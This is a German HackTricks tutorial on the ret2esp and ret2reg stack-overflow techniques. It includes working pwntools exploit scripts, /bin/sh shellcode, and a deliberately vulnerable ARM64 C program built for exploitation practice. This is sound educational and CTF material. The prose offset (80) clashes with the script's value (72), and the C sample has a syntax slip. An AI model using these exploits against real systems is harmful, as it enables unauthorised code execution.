Ret2esp / Ret2reg

Reading time: 7 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Unterstützen Sie HackTricks

Ret2esp

Da der ESP (Stack Pointer) immer auf die Spitze des Stacks zeigt, besteht diese Technik darin, den EIP (Instruction Pointer) durch die Adresse einer jmp esp oder call esp Anweisung zu ersetzen. Dadurch wird der Shellcode direkt nach dem überschriebenen EIP platziert. Wenn die ret Anweisung ausgeführt wird, zeigt ESP auf die nächste Adresse, genau dort, wo der Shellcode gespeichert ist.

Wenn Address Space Layout Randomization (ASLR) in Windows oder Linux nicht aktiviert ist, ist es möglich, jmp esp oder call esp Anweisungen in gemeinsam genutzten Bibliotheken zu verwenden. Mit aktivem ASLR muss man jedoch möglicherweise innerhalb des anfälligen Programms selbst nach diesen Anweisungen suchen (und man könnte PIE überwinden müssen).

Darüber hinaus stellt die Fähigkeit, den Shellcode nach der EIP-Korruption zu platzieren, anstatt in der Mitte des Stacks, sicher, dass keine push oder pop Anweisungen, die während des Betriebs der Funktion ausgeführt werden, mit dem Shellcode interferieren. Diese Interferenz könnte auftreten, wenn der Shellcode in der Mitte des Funktionsstacks platziert wird.

Fehlender Platz

Wenn Ihnen der Platz fehlt, um nach dem Überschreiben von RIP zu schreiben (vielleicht nur ein paar Bytes), schreiben Sie einen initialen jmp Shellcode wie:

armasm
sub rsp, 0x30
jmp rsp

Und schreibe den Shellcode früh im Stack.

Beispiel

Du kannst ein Beispiel für diese Technik in https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp mit einem finalen Exploit wie: finden.

python
from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

jmp_rsp = next(elf.search(asm('jmp rsp')))

payload = b'A' * 120
payload += p64(jmp_rsp)
payload += asm('''
sub rsp, 10;
jmp rsp;
''')

pause()
p.sendlineafter('RSP!\n', payload)
p.interactive()

Sie können ein weiteres Beispiel für diese Technik in https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html sehen. Es gibt einen Buffer Overflow ohne aktiviertes NX, es wird ein Gadget verwendet, um die Adresse von $esp zu reduzieren und dann ein jmp esp;, um zum Shellcode zu springen:

python
# From https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html
from pwn import *

# Establish the target process
target = process('./b0verflow')
#gdb.attach(target, gdbscript = 'b *0x080485a0')

# The shellcode we will use
# I did not write this, it is from: http://shell-storm.org/shellcode/files/shellcode-827.php
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

# Establish our rop gadgets

# 0x08048504 : jmp esp
jmpEsp = p32(0x08048504)

# 0x080484fd : push ebp ; mov ebp, esp ; sub esp, 0x24 ; ret
pivot = p32(0x80484fd)

# Make the payload

payload = ""
payload += jmpEsp # Our jmp esp gadget
payload += shellcode # Our shellcode
payload += "1"*(0x20 - len(shellcode)) # Filler between end of shellcode and saved return address
payload += pivot # Our pivot gadget

# Send our payload
target.sendline(payload)

# Drop to an interactive shell
target.interactive()

Ret2reg

Ähnlich, wenn wir wissen, dass eine Funktion die Adresse zurückgibt, an der der Shellcode gespeichert ist, können wir call eax oder jmp eax Anweisungen nutzen (bekannt als ret2eax Technik), was eine weitere Methode bietet, um unseren Shellcode auszuführen. Genau wie eax könnte jedes andere Register, das eine interessante Adresse enthält, verwendet werden (ret2reg).

Beispiel

Sie finden einige Beispiele hier:

ARM64

Ret2sp

In ARM64 gibt es keine Anweisungen, die es ermöglichen, zum SP-Register zu springen. Es könnte möglich sein, ein Gadget zu finden, das sp in ein Register verschiebt und dann zu diesem Register springt, aber in der libc meiner Kali konnte ich kein solches Gadget finden:

bash
for i in `seq 1 30`; do
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)";
done

Die einzigen, die ich entdeckt habe, würden den Wert des Registers ändern, in das sp kopiert wurde, bevor zu ihm gesprungen wird (so dass es nutzlos wird):

Ret2reg

Wenn ein Register eine interessante Adresse hat, ist es möglich, zu ihm zu springen, indem man einfach die geeignete Anweisung findet. Du könntest etwas verwenden wie:

bash
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei " b[a-z]* x[0-9][0-9]?";

In ARM64 speichert x0 den Rückgabewert einer Funktion, daher könnte es sein, dass x0 die Adresse eines vom Benutzer kontrollierten Puffers mit einem auszuführenden Shellcode speichert.

Beispielcode:

c
// clang -o ret2x0 ret2x0.c -no-pie -fno-stack-protector -Wno-format-security -z execstack

#include <stdio.h>
#include <string.h>

void do_stuff(int do_arg){
if (do_arg == 1)
__asm__("br x0");
return;
}

char* vulnerable_function() {
char buffer[64];
fgets(buffer, sizeof(buffer)*3, stdin);
return buffer;
}

int main(int argc, char **argv) {
char* b = vulnerable_function();
do_stuff(2)
return 0;
}

Die Überprüfung der Disassemblierung der Funktion zeigt, dass die Adresse zum Puffer (anfällig für bof und vom Benutzer kontrolliert) in x0 gespeichert wird, bevor von der Pufferüberlauf zurückgegeben wird:

Es ist auch möglich, das Gadget br x0 in der do_stuff Funktion zu finden:

Wir werden dieses Gadget verwenden, um zu ihm zu springen, da das Binary OHNE PIE kompiliert ist. Mit einem Muster ist es möglich zu sehen, dass der Offset des Pufferüberlaufs 80 beträgt, sodass der Exploit folgendermaßen aussehen würde:

python
from pwn import *

p = process('./ret2x0')
elf = context.binary = ELF('./ret2x0')

stack_offset = 72
shellcode = asm(shellcraft.sh())
br_x0 = p64(0x4006a0) # Addr of: br x0;
payload = shellcode + b"A" * (stack_offset - len(shellcode)) + br_x0

p.sendline(payload)
p.interactive()

warning

Wenn anstelle von fgets etwas wie read verwendet worden wäre, wäre es möglich gewesen, PIE zu umgehen, indem nur die letzten 2 Bytes der Rücksprungadresse überschrieben werden, um zur br x0;-Anweisung zurückzukehren, ohne die vollständige Adresse zu kennen.
Mit fgets funktioniert es nicht, da es ein Nullbyte (0x00) am Ende hinzufügt.

Schutzmaßnahmen

  • NX: Wenn der Stack nicht ausführbar ist, hilft das nicht, da wir den Shellcode im Stack platzieren und zu seiner Ausführung springen müssen.
  • ASLR & PIE: Diese können es erschweren, eine Anweisung zu finden, zu der man zu esp oder einem anderen Register springen kann.

Referenzen

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Unterstützen Sie HackTricks